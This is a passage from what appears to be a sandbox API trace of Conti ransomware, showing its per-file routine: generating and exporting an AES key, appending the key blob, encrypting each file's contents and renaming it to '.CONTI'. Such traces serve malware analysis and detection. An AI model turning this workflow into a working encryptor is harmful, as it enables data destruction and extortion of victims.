	[0093.351] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.351] ReadFile (in: hFile=0x338, lpBuffer=0x11710000, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x28, lpOverlapped=0x0) returned 1
	[0093.352] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x28, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x30) returned 1
	[0093.352] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.352] WriteFile (in: hFile=0x338, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x30, lpOverlapped=0x0) returned 1
	[0093.352] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.352] WriteFile (in: hFile=0x338, lpBuffer=0x17c00e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17c00e0*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0093.352] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.352] CloseHandle (hObject=0x338) returned 1
	[0093.353] GetProcessHeap () returned 0x1720000
	[0093.353] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7f58
	[0093.353] lstrcpyW (in: lpString1=0x17c7f58, lpString2="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" | out: lpString1="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log"
	[0093.353] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", lpString2=".CONTI" | out: lpString1="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.CONTI") returned="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.CONTI"
	[0093.353] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.CONTI" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.conti")) returned 1
	[0093.353] GetProcessHeap () returned 0x1720000
	[0093.353] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7f58 | out: hHeap=0x1720000) returned 1
	[0093.353] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.353] GetProcessHeap () returned 0x1720000
	[0093.353] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740ce0 | out: hHeap=0x1720000) returned 1
	[0093.353] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0093.736] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x175e4b0) returned 1
	[0093.736] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x5affca4 | out: pbData=0x17c5c6c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0093.745] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80
	[0093.746] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0093.746] GetLastError () returned 0x0
	[0093.746] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=68226) returned 1
	[0093.746] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10a82
	[0093.746] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.746] SetEndOfFile (hFile=0x34c) returned 1
	[0093.746] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.746] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.746] WriteFile (in: hFile=0x34c, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.748] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.748] ReadFile (in: hFile=0x34c, lpBuffer=0x11710000, nNumberOfBytesToRead=0x10a82, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x10a82, lpOverlapped=0x0) returned 1
	[0093.750] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x10a82, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x10a90) returned 1
	[0093.750] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.750] WriteFile (in: hFile=0x34c, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x10a90, lpOverlapped=0x0) returned 1
	[0093.750] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.750] WriteFile (in: hFile=0x34c, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0093.750] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.750] CloseHandle (hObject=0x34c) returned 1
	[0093.752] GetProcessHeap () returned 0x1720000
	[0093.752] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.752] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml"
	[0093.752] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.CONTI"
	[0093.752] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.conti")) returned 1
	[0093.753] GetProcessHeap () returned 0x1720000
	[0093.753] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.753] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.753] GetProcessHeap () returned 0x1720000
	[0093.753] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0ac0 | out: hHeap=0x1720000) returned 1
	[0093.753] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0094.087] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x175e4b0) returned 1
	[0094.087] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x5affca4 | out: pbData=0x17d2694*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0094.095] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80
	[0094.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.095] GetLastError () returned 0x0
	[0094.095] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=60816) returned 1
	[0094.095] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xed90
	[0094.095] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.095] SetEndOfFile (hFile=0x34c) returned 1
	[0094.095] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.095] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.095] WriteFile (in: hFile=0x34c, lpBuffer=0x17d2694*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17d2694*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.097] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.097] ReadFile (in: hFile=0x34c, lpBuffer=0x11710000, nNumberOfBytesToRead=0xed90, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0xed90, lpOverlapped=0x0) returned 1
	[0094.102] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0xed90, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0xeda0) returned 1
	[0094.102] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.102] WriteFile (in: hFile=0x34c, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0xeda0, lpOverlapped=0x0) returned 1
	[0094.102] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.102] WriteFile (in: hFile=0x34c, lpBuffer=0x17d2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17d2688*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0094.102] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.102] CloseHandle (hObject=0x34c) returned 1
	[0094.104] GetProcessHeap () returned 0x1720000
	[0094.104] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0094.105] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml"
	[0094.105] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.CONTI"
	[0094.105] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.conti")) returned 1
	[0094.105] GetProcessHeap () returned 0x1720000
	[0094.105] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.106] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0094.106] GetProcessHeap () returned 0x1720000
	[0094.106] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0920 | out: hHeap=0x1720000) returned 1
	[0094.106] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0095.295] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d2d68 | out: phKey=0x17d2d68*=0x17c7ff0) returned 1
	[0095.296] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2d6c, pdwDataLen=0x5affca4 | out: pbData=0x17d2d6c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0095.296] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20
	[0096.835] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0096.835] GetLastError () returned 0x0
	[0096.835] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=69632) returned 1
	[0096.835] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.835] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.835] SetEndOfFile (hFile=0x3ac) returned 1
	[0096.835] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.835] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.835] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d2d6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17d2d6c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.836] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.837] ReadFile (in: hFile=0x3ac, lpBuffer=0x11710000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.867] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x11000, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x11010) returned 1
	[0096.867] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.867] WriteFile (in: hFile=0x3ac, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x11010, lpOverlapped=0x0) returned 1
	[0096.867] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.867] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d2d60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17d2d60*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0096.868] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.868] CloseHandle (hObject=0x3ac) returned 1
	[0096.902] GetProcessHeap () returned 0x1720000
	[0096.902] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6510048
	[0096.903] lstrcpyW (in: lpString1=0x6510048, lpString2="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx"
	[0096.903] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.CONTI"
	[0096.903] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.conti")) returned 1
	[0096.937] GetProcessHeap () returned 0x1720000
	[0096.937] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510048 | out: hHeap=0x1720000) returned 1
	[0096.938] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0096.938] GetProcessHeap () returned 0x1720000
	[0096.938] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741060 | out: hHeap=0x1720000) returned 1
	[0096.938] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0099.168] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17e8478 | out: phKey=0x17e8478*=0x17c7ef0) returned 1
	[0099.168] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e847c, pdwDataLen=0x5affca4 | out: pbData=0x17e847c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0099.169] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml")) returned 0x20
	[0099.170] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0099.170] GetLastError () returned 0x0
	[0099.170] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=1972) returned 1
	[0099.170] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7b4
	[0099.170] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.170] SetEndOfFile (hFile=0x38c) returned 1
	[0101.777] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.777] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.777] WriteFile (in: hFile=0x38c, lpBuffer=0x17e847c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x17e847c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0102.639] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.639] ReadFile (in: hFile=0x38c, lpBuffer=0x11710000, nNumberOfBytesToRead=0x7b4, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x7b4, lpOverlapped=0x0) returned 1
	[0102.639] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x7b4, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x7c0) returned 1
	[0102.639] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.639] WriteFile (in: hFile=0x38c, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x7c0, lpOverlapped=0x0) returned 1
	[0102.639] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.639] WriteFile (in: hFile=0x38c, lpBuffer=0x17e8470*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x17e8470*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0102.639] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.639] CloseHandle (hObject=0x38c) returned 1
	[0103.366] GetProcessHeap () returned 0x1720000
	[0103.366] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x652dff8
	[0103.367] lstrcpyW (in: lpString1=0x652dff8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml"
	[0103.367] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.CONTI"
	[0103.367] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml.conti")) returned 1
	[0103.892] GetProcessHeap () returned 0x1720000
	[0103.892] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x652dff8 | out: hHeap=0x1720000) returned 1
	[0103.901] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0103.906] GetProcessHeap () returned 0x1720000
	[0103.906] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e3f58 | out: hHeap=0x1720000) returned 1
	[0103.906] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0104.226] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x17d28d8 | out: phKey=0x17d28d8*=0x17c84f0) returned 1
	[0104.228] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d28dc, pdwDataLen=0x5affca4 | out: pbData=0x17d28dc*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0104.229] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png")) returned 0x20
